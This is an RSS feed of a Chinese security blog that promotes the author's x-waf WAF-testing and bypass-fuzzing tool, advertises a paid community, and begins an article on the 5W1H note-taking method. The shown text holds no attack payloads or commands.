<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>leveryd</title>
    <link>https://wechat2rss.xlab.app/feed/742b34be22c0c323804fa9b541aa717571cd8147.xml</link>
    <description>这里分享关于WAF、主机安全等安全产品的知识，欢迎与我交流&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (leveryd)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM4IARCacywSfZaHygV4sjPbU3NicE6TPA8euKdMvLVRYfQ/0</url>
      <title>leveryd</title>
      <link>https://wechat2rss.xlab.app/feed/742b34be22c0c323804fa9b541aa717571cd8147.xml</link>
    </image>
    <item>
      <title>没想到x-waf还可以用来测rasp</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyMDIxMjE5MA==&amp;mid=2247485491&amp;idx=1&amp;sn=9e4d62e3c2d058cba9fa930fd49aa2b7</link>
      <description>今天研发rasp的师傅使用x-waf工具发现了产品上的sql注入的绕过case，完成修复后再使用x-waf复测通过。&#xA;&#xA;我没想到，用户比作者更懂使用场景。我本来说x-waf就是用来做waf防护能力测试的，没想到rasp研发时也能用来做测试。&#xA;&#xA;过程中我也发现x-waf从下载到使用过程中会有一些明显的障碍、bug，我也做了一些优化。&#xA;&#xA;希望大家可以向我反馈使用上的bug、讨论fuzz时的payload变异策略，无论是issue还是微信群里。&#xA;&#xA;项目地址是 https://github.com/leveryd/x-waf</description>
      <content:encoded><![CDATA[<p>
<span>leveryd</span> <span>2025-01-10 17:32</span> <span style="display: inline-block;">北京</span>
</p>

<p>今天研发rasp的师傅使用x-waf工具发现了产品上的sql注入的绕过case，完成修复后再使用x-waf复测通过。</p>
<p></p>
<p>我没想到，用户比作者更懂使用场景。我本来说x-waf就是用来做waf防护能力测试的，没想到rasp研发时也能用来做测试。</p>
<p></p>
<p>过程中我也发现x-waf从下载到使用过程中会有一些明显的障碍、bug，我也做了一些优化。</p>
<p></p>
<p>希望大家可以向我反馈使用上的bug、讨论fuzz时的payload变异策略，无论是issue还是微信群里。</p>
<p></p>
<p>项目地址是 https://github.com/leveryd/x-waf</p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=c84c51ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FFwyeCXsWiaYx18BqgicMtT52vic12icw8Aj1zeibK81rUsJOScQZFG2YSE3eC22P3a0XBCUMx7j5yaPYtCxRQD3qfJw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div id="js_image_content" class="image_content "><h1 class="rich_media_title ">没想到x-waf还可以用来测rasp</h1>    <!----> <!----> <!----> <div class="wx_album_area js_album_wrap " style=""></div> <div class="rich_media_tool "><div class="rich_media_info weui-flex policy_tips js_ad_policy_tips tips_global_primary "><!----></div></div> </div>


<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_jpg/FwyeCXsWiaYx18BqgicMtT52vic12icw8Aj1yFV9A8ibv5sAzyZXrHHB6Oribxiaa3MOXXicuKCnkoTDorMjaia1F4UyE3g/0?wx_fmt=jpeg"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_jpg/FwyeCXsWiaYx18BqgicMtT52vic12icw8Aj1F7225IllryAXP7guDAgLMicAxucTsmjdYz27qiaCTlhLzUhnQ3VbTZ4Q/0?wx_fmt=jpeg"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_jpg/FwyeCXsWiaYx18BqgicMtT52vic12icw8Aj1nYndKbKIMR9FRgLy1Kky6ZeHugWiaGPjytfybnYUSZLf4KezzVXs62g/0?wx_fmt=jpeg"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_jpg/FwyeCXsWiaYx18BqgicMtT52vic12icw8Aj1cHN1huTG7yicymeZ5oSicvb51ic7r3aM7wVKBX86q30bq0uaYjaKtcaMg/0?wx_fmt=jpeg"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_jpg/FwyeCXsWiaYx18BqgicMtT52vic12icw8Aj1KwSIbWVjQ0NpNA8Piay3oUTbRcWfibkIwxpMvL0ibGeTHcHoHSpv4k1yw/0?wx_fmt=jpeg"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_jpg/FwyeCXsWiaYx18BqgicMtT52vic12icw8Aj1OybazG5WULaLVlNtObGNj5Fd3gcLUU1ia4OXjrNKibJzQnv5l3yiaXO5Q/0?wx_fmt=jpeg"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_jpg/FwyeCXsWiaYx18BqgicMtT52vic12icw8Aj1btiaV8tnLwsE5sFloMfIo7cJziafsQttDPqaPHHlMETFA9n2MYnW82qQ/0?wx_fmt=jpeg"/></p>




<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=46867ee2&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyMDIxMjE5MA%3D%3D%26mid%3D2247485491%26idx%3D1%26sn%3D9e4d62e3c2d058cba9fa930fd49aa2b7%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 10 Jan 2025 17:32:00 +0800</pubDate>
    </item>
    <item>
      <title>一起聊聊x-waf的新功能和未来发展吧！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyMDIxMjE5MA==&amp;mid=2247485477&amp;idx=1&amp;sn=8d86658b9e9763f98b6f28ac35a59973</link>
      <description></description>
      <content:encoded><![CDATA[<p>
<span>leveryd</span> <span>2024-12-18 23:33</span> <span style="display: inline-block;">北京</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=28644598&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FFwyeCXsWiaYxB8KE5keukDZ8vPrYN3ibXoVNxLsohPjQ4GibA5y6WaA9SJ7pZGRnbOjxAZL4ZG6ejRyKZmTJOMsJg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;"><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="display: none;"></span><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">一起聊聊x-waf的新功能和未来发展吧！</span></span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">嘿，大家好！自从两周前我们发布了x-waf的二进制版本以来，真的收到了不少关注呢。腾讯玄武实验室还在他们的“每日安全动态推送（24/12/6）”里提到了我们，现在GitHub上已经有173颗星了，还有3个issue。这说明确实有不少小伙伴在试用和体验我们的工具，真心感谢每一位支持者！你们的支持就是我继续迭代的动力！</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">关于x-waf的新功能，我有很多想法。我希望它能成为WAF防护能力测试的标准工具，让白帽子、WAF运营人员、研发和测试工程师都能用得上。</span></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">对于白帽子来说，x-waf可以让你更轻松地绕过WAF，不需要掌握太多复杂的绕过技巧。</span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">对于WAF运营，它可以帮你找出当前WAF配置中的问题。</span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">对于WAF研发和测试，它能帮助分析误报率和漏报率。</span></section></li></ul><h4 data-tool="mdnice编辑器" style="border-bottom-color: rgb(239, 112, 96);margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: solid;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 2px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow-x: unset;overflow-y: unset;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 22px;color: rgb(255, 255, 255);background-color: rgb(239, 112, 96);line-height: 1.5em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 3px;border-top-right-radius: 3px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 5px;overflow-x: unset;overflow-y: unset;padding-top: 3px;padding-bottom: 1px;padding-left: 10px;padding-right: 10px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">线上讨论会邀请</span></span><span style="display: none;"></span><span style="border-bottom-color: rgb(239, 235, 233);align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: solid;border-left-style: none;border-right-style: solid;border-top-width: 1px;border-bottom-width: 36px;border-left-width: 1px;border-right-width: 20px;border-top-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: transparent;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;color: rgb(0, 0, 0);display: inline-block;font-size: 16px;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;letter-spacing: 0px;line-height: 1.1em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">想不想一起来聊聊？我们打算找5位用户，在12月19日星期四晚上10点通过腾讯会议线上交流。我们会讨论：</span></p><ol style="list-style-type: decimal;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">在&#34;WAF绕过&#34;这个场景里，你最希望工具提供什么功能？</span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">怎么实现这些功能？</span></section></li></ol><h4 data-tool="mdnice编辑器" style="border-bottom-color: rgb(239, 112, 96);margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: solid;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 2px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow-x: unset;overflow-y: unset;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 22px;color: rgb(255, 255, 255);background-color: rgb(239, 112, 96);line-height: 1.5em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 3px;border-top-right-radius: 3px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 5px;overflow-x: unset;overflow-y: unset;padding-top: 3px;padding-bottom: 1px;padding-left: 10px;padding-right: 10px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">关于收费的想法</span></span><span style="display: none;"></span><span style="border-bottom-color: rgb(239, 235, 233);align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: solid;border-left-style: none;border-right-style: solid;border-top-width: 1px;border-bottom-width: 36px;border-left-width: 1px;border-right-width: 20px;border-top-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: transparent;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;color: rgb(0, 0, 0);display: inline-block;font-size: 16px;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;letter-spacing: 0px;line-height: 1.1em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">另外，为了确保项目能够持续发展，我也在考虑引入收费模式。所以也欢迎大家来聊一聊，看看大家有什么看法或建议。</span></p><h4 data-tool="mdnice编辑器" style="border-bottom-color: rgb(239, 112, 96);margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: solid;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 2px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow-x: unset;overflow-y: unset;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 22px;color: rgb(255, 255, 255);background-color: rgb(239, 112, 96);line-height: 1.5em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 3px;border-top-right-radius: 3px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 5px;overflow-x: unset;overflow-y: unset;padding-top: 3px;padding-bottom: 1px;padding-left: 10px;padding-right: 10px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">最后</span></span><span style="display: none;"></span><span style="border-bottom-color: rgb(239, 235, 233);align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: solid;border-left-style: none;border-right-style: solid;border-top-width: 1px;border-bottom-width: 36px;border-left-width: 1px;border-right-width: 20px;border-top-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: transparent;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;color: rgb(0, 0, 0);display: inline-block;font-size: 16px;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;letter-spacing: 0px;line-height: 1.1em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">项目地址：<a href="https://github.com/leveryd/x-waf" target="_blank">https://github.com/leveryd/x-waf</a></span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">如果你对以上话题感兴趣，并且已经使用过x-waf，就请私信我吧！期待你的参与，让我们一起把x-waf做得更好！</span></p></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://github.com/leveryd/x-waf">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=c41f04ad&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyMDIxMjE5MA%3D%3D%26mid%3D2247485477%26idx%3D1%26sn%3D8d86658b9e9763f98b6f28ac35a59973%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 18 Dec 2024 23:33:00 +0800</pubDate>
    </item>
    <item>
      <title>简单点，让“绕WAF”简单点</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyMDIxMjE5MA==&amp;mid=2247485472&amp;idx=1&amp;sn=50ee57741fbf263ab768b1b56c57ac58</link>
      <description>宇宙最强WAF长亭雷池都可以fuzz出bypass，更何况其他WAF呢[疑问] （遇到select关键字就拦的当我没说）</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2024-12-09 14:30</span> <span style="display: inline-block;">北京</span>
</p>

<p>宇宙最强WAF长亭雷池都可以fuzz出bypass，更何况其他WAF呢[疑问] （遇到select关键字就拦的当我没说）</p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=59f75e4c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FFwyeCXsWiaYzPFjKLqDQyN9Owjxg2WxkfUvWJAYXpSiaYUu6RCBFBR72XzMM9zic9BIEqtRQdZManIFvzLJsHYmew%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div id="js_image_content" class="image_content "><h1 class="rich_media_title ">简单点，让“绕WAF”简单点</h1>    <!----> <!----> <!----> <div class="wx_album_area js_album_wrap " style=""></div> <div class="rich_media_tool "><div class="rich_media_info weui-flex policy_tips js_ad_policy_tips tips_global_primary "><!----></div></div> </div>


<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_jpg/FwyeCXsWiaYzPFjKLqDQyN9Owjxg2Wxkfowamws3RoPhSC6kuulCs7whFBTchM3Q32XxGkkXleyFPClia7PXsBFw/0?wx_fmt=jpeg"/></p>




<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=28a14ef0&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyMDIxMjE5MA%3D%3D%26mid%3D2247485472%26idx%3D1%26sn%3D50ee57741fbf263ab768b1b56c57ac58%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 09 Dec 2024 14:30:00 +0800</pubDate>
    </item>
    <item>
      <title>分享图片</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyMDIxMjE5MA==&amp;mid=2247485461&amp;idx=1&amp;sn=f4b682c479e4f0dc9a619a4b201a27f3</link>
      <description></description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2024-06-14 13:03</span> <span style="display: inline-block;">北京</span>
</p>

<p></p>


<p style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;text-align: center;margin-left: 8px;margin-right: 8px;">
<img src="https://wechat2rss.xlab.app/img-proxy/?k=f6c7d1f1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FFwyeCXsWiaYyLM568wfnaWdaEXRQ7WIUuyVmWe2gWldIR7Auqz9cnWKIlvpOibwaEKcd3TNUSW876iaE9UVocSu6w%2F0%3Fwx_fmt%3Djpeg"/>
</p>

<div id="js_image_content" class="image_content "> <!----> <!----> <!----> <div class="wx_album_area js_album_wrap " style=""></div> <div class="rich_media_tool "><div class="rich_media_info weui-flex policy_tips js_ad_policy_tips tips_global_primary "><!----></div></div> </div>

<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_jpg/FwyeCXsWiaYyLM568wfnaWdaEXRQ7WIUutGoj3951AfY3dEKibxca0JUesqpjW2ADfXv9RmoBIh7u89c8GMpoOCw/0?wx_fmt=jpeg"/></p>



]]></content:encoded>
      <pubDate>Fri, 14 Jun 2024 13:03:04 +0800</pubDate>
    </item>
    <item>
      <title>我的知识星球来啦！！！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyMDIxMjE5MA==&amp;mid=2247485455&amp;idx=1&amp;sn=cd5ad0373c5bd7a33c160ab67043eb21</link>
      <description>在这个经济下行的时候，我想尝试一下以个体提供力所能及的服务。&#xA;&#xA;请各位师傅帮忙转发一下，谢谢！！</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2024-02-02 17:57</span> <span style="display: inline-block;">北京</span>
</p>

<p>在这个经济下行的时候，我想尝试一下以个体提供力所能及的服务。</p>
<p></p>
<p>请各位师傅帮忙转发一下，谢谢！！</p>


<p style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;text-align: center;margin-left: 8px;margin-right: 8px;">
<img src="https://wechat2rss.xlab.app/img-proxy/?k=1138e7e8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FFwyeCXsWiaYxftPpjmUCG92zvaianWeaU7VDoIRdp5dWmN9iaNbRCRrOv0J81U3ajwdPJYh4Ot01sKBxBib05QL6cg%2F0%3Fwx_fmt%3Djpeg"/>
</p>

<div id="js_image_content" class="image_content ">  <!----> <!----> <div class="wx_album_area js_album_wrap " style=""></div> <div class="rich_media_tool "><div class="rich_media_info weui-flex policy_tips js_ad_policy_tips tips_global_primary "><!----></div></div> </div>

<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_jpg/FwyeCXsWiaYxftPpjmUCG92zvaianWeaU7ibVCRraZTxKI7fE58ibJ8fVpdH7r44yW5vWafcEwEG0wholgolCdBOgA/0?wx_fmt=jpeg"/></p>



]]></content:encoded>
      <pubDate>Fri, 02 Feb 2024 17:57:26 +0800</pubDate>
    </item>
    <item>
      <title>超级实用的思维工具-5W1H</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyMDIxMjE5MA==&amp;mid=2247485449&amp;idx=1&amp;sn=8a3d66ba14b55a8036558a949214e473</link>
      <description>5w1h思维工具太好用了，作者近几年常用。&#xD;&#xA;&#xD;&#xA;本文使用&#34;通义千问&#34;润色，提示词是&#34;风格请和原文保持一致，不要过于书面化，也不要过于口语化，重新润色&#34;。</description>
      <content:encoded><![CDATA[<p>
原创 <span>leveryd</span> <span>2024-01-06 13:22</span> <span style="display: inline-block;">北京</span>
</p>

<p>5w1h思维工具太好用了，作者近几年常用。</p>
<p></p>
<p>本文使用"通义千问"润色，提示词是"风格请和原文保持一致，不要过于书面化，也不要过于口语化，重新润色"。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=2fc825cc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FFwyeCXsWiaYzyvlfYuO7V4GJibpaeGicjaB16EKNlSibCuX3Fia3iafZaATzMxFo8sZp3rVfhK57SnClmLnQDAydhibpg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>背景</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在工作中，你肯定遇到过不少碎片化学习的情况。比如做渗透测试项目时突然需要用到某个漏洞，你可能只是快速掌握了如何修改并使用exp，并没有深入探究其原理。面对这样的状况，你怎样积累这些零散的学习内容，并逐渐构建起一个完整的知识体系呢？</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">是否时常感觉看完一篇技术文章或报告后，在整理笔记时不知所措？又或者，回看自己之前的技术笔记时，发现记录的内容混乱无序，需要重新理解一遍才能找回记忆？</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>实用且灵活的5w1h思维工具</h1><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 